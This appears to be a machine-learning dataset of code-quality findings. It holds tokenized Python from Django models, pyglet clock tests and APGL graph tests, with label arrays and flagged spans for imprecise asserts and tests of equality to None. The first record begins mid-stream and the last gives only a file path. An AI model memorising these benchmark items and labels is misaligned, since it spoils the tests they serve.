"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "update", "\\u", "date_", "=_", "datetime_", "._", "date_", "._", "today_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "super_", "(_", "Subscription_", ",_", "self_", ")_", "._", "save_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "attribute_", "(_", "self_", ",_", "name_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", " ", "or", " ", "create", " ", "a", " ", "`", "Subscription", "Attribute", "`", " ", "object", " ", "with", " ", "the", " ", "pass", "ed", " ", "`", "name", "`", " ", "and", " ", "`", "value", "`.\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "str_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "att_", "=_", "self_", "._", "attributes_", "._", "get_", "(_", "name_", "=_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "att_", "._", "value_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Subscription", "Attribute_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "att_", "=_", "Subscription", "Attribute_", "(_", "subscription_", "=_", "self_", ",_", "name_", "=_", "name_", ",_", "value_", "=_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "att_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "att_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "attributes_", "(_", "self_", ",_", "attributes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", " ", "`", "Subscription", "Attribute", "`", " ", "object", "s", " ", "from", " ", "a", " ", "dictionar", "y", " ", "of", " ", "name", " ", "val", " ", "mapping", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "self_", "._", "update", "\\u", "attribute_", "(_", "name_", ",_", "value_", ")_", "for_", "name_", ",_", "value_", "in_", "attributes_", "._", "items_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Subscription", "Attribute_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "All", "ow", "s", " ", "arbitra", "ry", " ", "name", "/", "value", " ", "pair", "s", " ", "(", "as", " ", "string", "s", ")", " ", "to", " ", "be", " ", "attache", "d", " ", "to", " ", "a", " ", "subscript", "ion", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscription_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "Subscription_", ",_", "relate", "d\\u", "name_", "=_", "\"", "attribute", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "models_", "._", "Sl", "ug", "Field_", "(_", "\\u_", "(_", "\"", "Attribute", " ", "Name", "\"_", ")_", ",_", "max", "\\u", "length_", "=_", "100_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "models_", "._", "Char", "Field_", "(_", "\\u_", "(_", "\"", "Value", "\"_", ")_", ",_", "max", "\\u", "length_", "=_", "255_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verbo", "se", "\\u", "name_", "=_", "\\u_", "(_", "\"", "Subscription", " ", "Attribute", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verbo", "se", "\\u", "name", "\\u", "plural_", "=_", "\\u_", "(_", "\"", "Subscription", " ", "Attribute", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
ardekantur/pyglet/tests/clock/SCHEDULE_ONCE.py
[ { "content": " def callback_1(self, dt):\n self.assertTrue(abs(dt - 0.1) < 0.01)\n self.callback_1_count += 1", "metadata": "root.SCHEDULE_ONCE.callback_1", "header": "['class', 'SCHEDULE_ONCE', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 21 }, { "content": " def callback_2(self, dt):\n self.assertTrue(abs(dt - 0.35) < 0.01)\n self.callback_2_count += 1", "metadata": "root.SCHEDULE_ONCE.callback_2", "header": "['class', 'SCHEDULE_ONCE', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 25 }, { "content": " def callback_3(self, dt):\n self.assertTrue(abs(dt - 0.07) < 0.01)\n self.callback_3_count += 1", "metadata": "root.SCHEDULE_ONCE.callback_3", "header": "['class', 'SCHEDULE_ONCE', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def test_schedule_once(self):\n self.clear()\n clock.set_default(clock.Clock())\n clock.schedule_once(self.callback_1, 0.1) \n clock.schedule_once(self.callback_2, 0.35)\n clock.schedule_once(self.callback_3, 0.07)\n\n t = 0\n while t < 1:\n t += clock.tick()\n self.assertTrue(self.callback_1_count == 1)\n self.assertTrue(self.callback_2_count == 1)\n self.assertTrue(self.callback_3_count == 1)", "metadata": "root.SCHEDULE_ONCE.test_schedule_once", "header": "['class', 'SCHEDULE_ONCE', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 38 } ]
[ { "span": "self.assertTrue(abs(dt - 0.1) < 0.01)", "start_line": 22, "start_column": 8, "end_line": 22, "end_column": 45 }, { "span": "self.assertTrue(abs(dt - 0.35) < 0.01)", "start_line": 26, "start_column": 8, "end_line": 26, "end_column": 46 }, { "span": "self.assertTrue(abs(dt - 0.07) < 0.01)", "start_line": 30, "start_column": 8, "end_line": 30, "end_column": 46 }, { "span": "self.assertTrue(self.callback_1_count == 1)", "start_line": 48, "start_column": 8, "end_line": 48, "end_column": 51 }, { "span": "self.assertTrue(self.callback_2_count == 1)", "start_line": 49, "start_column": 8, "end_line": 49, "end_column": 51 }, { "span": "self.assertTrue(self.callback_3_count == 1)", "start_line": 50, "start_column": 8, "end_line": 50, "end_column": 51 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "SCHEDULE", "\\u", "ON", "CE_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "callback", "\\u", "1_", "(_", "self_", ",_", "dt_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "abs_", "(_", "dt_", "-_", "0.1_", ")_", "<_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "callback", "\\u", "1", "\\u", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SCHEDULE", "\\u", "ON", "CE_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "callback", "\\u", "2_", "(_", "self_", ",_", "dt_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "abs_", "(_", "dt_", "-_", "0.35_", ")_", "<_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "callback", "\\u", "2", "\\u", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SCHEDULE", "\\u", "ON", "CE_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "callback", "\\u", "3_", "(_", "self_", ",_", "dt_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "abs_", "(_", "dt_", "-_", "0.07_", ")_", "<_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "callback", "\\u", "3", "\\u", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SCHEDULE", "\\u", "ON", "CE_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "schedule", "\\u", "once_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clock_", "._", "set\\u", "default_", "(_", "clock_", "._", "Clock_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clock_", "._", "schedule", "\\u", "once_", "(_", "self_", "._", "callback", "\\u", "1_", ",_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clock_", "._", "schedule", "\\u", "once_", "(_", "self_", "._", "callback", "\\u", "2_", ",_", "0.35_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clock_", "._", "schedule", "\\u", "once_", "(_", "self_", "._", "callback", "\\u", "3_", ",_", "0.07_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "t_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "+=_", "clock_", "._", "tick_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "callback", "\\u", "1", "\\u", "count_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "callback", "\\u", "2", "\\u", "count_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "callback", "\\u", "3", "\\u", "count_", "==_", "1_", ")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None
charanpald/APGL/apgl/io/test/CsvGraphReaderTest.py
[ { "content": " def testReadFromFile(self):\n vertex1Indices = [0, 2, 3, 4, 5]\n vertex2Indices = [1, 6, 7, 8, 9]\n\n def genderConv(x):\n genderDict = {'\"M\"': 0, '\"F\"': 1}\n return genderDict[x]\n\n def orientConv(x):\n orientDict = {'\"HT\"': 0, '\"HB\"': 1}\n return orientDict[x]\n\n converters = {2: genderConv, 6: genderConv, 3:orientConv, 7:orientConv}\n\n csvGraphReader = CsvGraphReader(vertex1Indices, vertex2Indices, converters)\n\n dir = PathDefaults.getDataDir()\n fileName = dir + \"test/infect5.csv\"\n\n graph = csvGraphReader.readFromFile(fileName)\n\n self.assertTrue((graph.getVertex(0) == numpy.array([0, 0, 28, 1])).all())\n self.assertTrue((graph.getVertex(1) == numpy.array([1, 0, 26, 1])).all())\n self.assertTrue((graph.getVertex(2) == numpy.array([0, 1, 42, 2])).all())\n self.assertTrue((graph.getVertex(3) == numpy.array([1, 0, 33, 1])).all())\n self.assertTrue((graph.getVertex(4) == numpy.array([0, 1, 35, 37])).all())\n\n self.assertTrue(graph.getEdge(0, 1) == 1)\n self.assertTrue(graph.getEdge(2, 3) == 1)\n self.assertTrue(graph.getEdge(4, 6) == 1)\n self.assertTrue(graph.getEdge(6, 7) == 1)\n self.assertTrue(graph.getEdge(5, 8) == 1)\n\n self.assertEquals(graph.getNumEdges(), 5)\n self.assertTrue(graph.isUndirected())\n\n #Test a directed graph\n csvGraphReader = CsvGraphReader(vertex1Indices, vertex2Indices, converters, undirected=False)\n graph = csvGraphReader.readFromFile(fileName)\n\n self.assertTrue(graph.getEdge(1, 0) == None)\n self.assertTrue(graph.getEdge(3, 2) == None)\n self.assertTrue(graph.getEdge(6, 4) == None)\n self.assertTrue(graph.getEdge(7, 6) == None)\n self.assertTrue(graph.getEdge(8, 5) == None)\n\n self.assertEquals(graph.getNumEdges(), 5)\n self.assertFalse(graph.isUndirected())\n\n #Test graph with no vertex information\n vertex1Indices = [0]\n vertex2Indices = [1]\n fileName = dir + \"test/infect5-0.csv\"\n csvGraphReader = CsvGraphReader(vertex1Indices, vertex2Indices, {})\n graph = csvGraphReader.readFromFile(fileName)\n\n self.assertTrue(graph.getEdge(0, 1) == 1)\n self.assertTrue(graph.getEdge(2, 3) == 1)\n self.assertTrue(graph.getEdge(4, 6) == 1)\n self.assertTrue(graph.getEdge(6, 7) == 1)\n self.assertTrue(graph.getEdge(5, 8) == 1)\n\n self.assertEquals(graph.getNumEdges(), 5)\n self.assertTrue(graph.isUndirected())\n self.assertEquals(graph.getVertexList().getNumFeatures(), 0)", "metadata": "root.CsvGraphReaderTest.testReadFromFile", "header": "['class', 'CsvGraphReaderTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 13 } ]
[ { "span": "graph.getEdge(1, 0) == None)", "start_line": 53, "start_column": 24, "end_line": 53, "end_column": 51 }, { "span": "graph.getEdge(3, 2) == None)", "start_line": 54, "start_column": 24, "end_line": 54, "end_column": 51 }, { "span": "graph.getEdge(6, 4) == None)", "start_line": 55, "start_column": 24, "end_line": 55, "end_column": 51 }, { "span": "graph.getEdge(7, 6) == None)", "start_line": 56, "start_column": 24, "end_line": 56, "end_column": 51 }, { "span": "graph.getEdge(8, 5) == None)", "start_line": 57, "start_column": 24, "end_line": 57, "end_column": 51 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "Cs", "v", "Graph", "Read", "er", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Read", "Fro", "m", "File_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vertex", "1", "Indices_", "=_", "[_", "0_", ",_", "2_", ",_", "3_", ",_", "4_", ",_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vertex", "2", "Indices_", "=_", "[_", "1_", ",_", "6_", ",_", "7_", ",_", "8_", ",_", "9_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "gender", "Conv", "_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gender", "Dict_", "=_", "{_", "'\"", "M", "\"'_", ":_", "0_", ",_", "'\"", "F", "\"'_", ":_", "1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "gender", "Dict_", "[_", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "orient", "Conv", "_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "orient", "Dict_", "=_", "{_", "'\"", "HT", "\"'_", ":_", "0_", ",_", "'\"", "HB", "\"'_", ":_", "1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "orient", "Dict_", "[_", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "converters_", "=_", "{_", "2_", ":_", "gender", "Conv", "_", ",_", "6_", ":_", "gender", "Conv", "_", ",_", "3_", ":_", "orient", "Conv", "_", ",_", "7_", ":_", "orient", "Conv", "_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "csv", "Graph", "Reader_", "=_", "Cs", "v", "Graph", "Reader_", "(_", "vertex", "1", "Indices_", ",_", "vertex", "2", "Indices_", ",_", "converters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dir_", "=_", "Path", "Defaults_", "._", "get", "Data", "Dir_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "Name_", "=_", "dir_", "+_", "\"", "test", "/", "infect", "5", ".", "csv", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "graph_", "=_", "csv", "Graph", "Reader_", "._", "read", "Fro", "m", "File_", "(_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "graph_", "._", "get", "Vertex_", "(_", "0_", ")_", "==_", "numpy_", "._", "array_", "(_", "[_", "0_", ",_", "0_", ",_", "28_", ",_", "1_", "]_", ")_", ")_", "._", "all_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "graph_", "._", "get", "Vertex_", "(_", "1_", ")_", "==_", "numpy_", "._", "array_", "(_", "[_", "1_", ",_", "0_", ",_", "26_", ",_", "1_", "]_", ")_", ")_", "._", "all_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "graph_", "._", "get", "Vertex_", "(_", "2_", ")_", "==_", "numpy_", "._", "array_", "(_", "[_", "0_", ",_", "1_", ",_", "42_", ",_", "2_", "]_", ")_", ")_", "._", "all_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "graph_", "._", "get", "Vertex_", "(_", "3_", ")_", "==_", "numpy_", "._", "array_", "(_", "[_", "1_", ",_", "0_", ",_", "33_", ",_", "1_", "]_", ")_", ")_", "._", "all_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "graph_", "._", "get", "Vertex_", "(_", "4_", ")_", "==_", "numpy_", "._", "array_", "(_", "[_", "0_", ",_", "1_", ",_", "35_", ",_", "37_", "]_", ")_", ")_", "._", "all_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "0_", ",_", "1_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "2_", ",_", "3_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "4_", ",_", "6_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "6_", ",_", "7_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "5_", ",_", "8_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "graph_", "._", "get", "Num", "Edges_", "(_", ")_", ",_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "is", "Und", "irect", "ed_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Test", " ", "a", " ", "direct", "ed", " ", "graph_", "\\u\\u\\uNL\\u\\u\\u_", "csv", "Graph", "Reader_", "=_", "Cs", "v", "Graph", "Reader_", "(_", "vertex", "1", "Indices_", ",_", "vertex", "2", "Indices_", ",_", "converters_", ",_", "undi", "rect", "ed_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "=_", "csv", "Graph", "Reader_", "._", "read", "Fro", "m", "File_", "(_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "1_", ",_", "0_", ")_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "3_", ",_", "2_", ")_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "6_", ",_", "4_", ")_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "7_", ",_", "6_", ")_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "8_", ",_", "5_", ")_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "graph_", "._", "get", "Num", "Edges_", "(_", ")_", ",_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "graph_", "._", "is", "Und", "irect", "ed_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Test", " ", "graph", " ", "with", " ", "no", " ", "vertex", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "vertex", "1", "Indices_", "=_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vertex", "2", "Indices_", "=_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "Name_", "=_", "dir_", "+_", "\"", "test", "/", "infect", "5", "-0", ".", "csv", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "csv", "Graph", "Reader_", "=_", "Cs", "v", "Graph", "Reader_", "(_", "vertex", "1", "Indices_", ",_", "vertex", "2", "Indices_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "=_", "csv", "Graph", "Reader_", "._", "read", "Fro", "m", "File_", "(_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "0_", ",_", "1_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "2_", ",_", "3_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "4_", ",_", "6_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "6_", ",_", "7_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "get", "Edge_", "(_", "5_", ",_", "8_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "graph_", "._", "get", "Num", "Edges_", "(_", ")_", ",_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "graph_", "._", "is", "Und", "irect", "ed_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "graph_", "._", "get", "Vertex", "List_", "(_", ")_", "._", "get", "Num", "Features_", "(_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Missing call to `__init__` during object initialization
phaethon/scapy/scapy/fields.py
